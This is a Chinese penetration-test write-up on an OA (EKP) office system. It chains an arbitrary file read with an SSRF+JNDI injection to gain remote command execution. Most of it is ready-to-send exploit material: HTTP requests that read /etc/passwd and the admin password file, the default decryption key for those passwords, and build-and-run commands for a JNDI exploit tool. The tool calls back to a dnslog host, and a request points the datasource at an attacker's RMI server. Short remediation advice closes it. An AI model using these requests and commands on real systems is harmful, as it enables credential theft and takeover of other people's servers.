记一次密码读取+SSRF渗透测试
字数 751 2025-08-05 00:16:28
某凌OA(EKP)系统渗透测试:密码读取与SSRF漏洞利用分析
0x01 漏洞背景
目标系统为某凌OA(EKP)办公系统,存在两个关键安全漏洞:
- 任意文件读取漏洞
- SSRF+JNDI远程命令执行漏洞组合
0x02 漏洞概述
- 任意文件读取漏洞:允许攻击者读取系统敏感文件,包括管理员密码配置文件
- SSRF+JNDI远程命令执行:结合后台访问权限可实现远程命令执行
0x03 任意文件读取漏洞利用
漏洞位置
/sys/ui/extend/varkind/custom.jsp
利用方法
读取系统文件(如/etc/passwd)
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: [目标主机]
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 42
var={"body":{"file":"file:///etc/passwd"}}
读取管理员密码配置文件
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: [目标主机]
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 60
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
密码解密方法
获取加密口令后,使用以下参数解密:
- 加密模式:ECB
- 填充方式:ZeroPadding
- 默认密钥:
kmssAdminkey - 偏移量:ECB模式不需要
0x04 SSRF+JNDI远程命令执行
前置条件
- 通过任意文件读取获取管理员密码
- 成功登录后台(
/admin.do)
利用工具
使用JNDI注入利用工具(JNDI-Injection-Exploit):
- 下载并编译工具:
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests
- 启动监听服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping b50dpx.dnslog.cn" -A "[攻击者IP]"
- 触发漏洞:
POST /admin.do HTTP/1.1
Host: [目标主机]
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
Connection: close
method=config&datasource=rmi://[攻击者IP]:1099/zosci3
注意事项
- 确保1099、1389、8180端口可用
- 需要Java 1.7+或1.8+环境
- 需要Maven 3.x+环境
0x05 漏洞修复建议
- 限制文件读取功能的访问权限
- 更新系统至最新版本
- 修改默认加密密钥
- 对后台管理接口实施严格的访问控制
- 禁用不必要的JNDI功能
总结
该渗透测试展示了如何通过组合利用文件读取和SSRF漏洞获取系统控制权。攻击链如下:
- 利用文件读取漏洞获取管理员凭证
- 解密凭证并登录后台
- 通过SSRF触发JNDI注入实现远程命令执行
这种攻击方式具有较高的危害性,建议相关系统管理员及时检查并修复漏洞。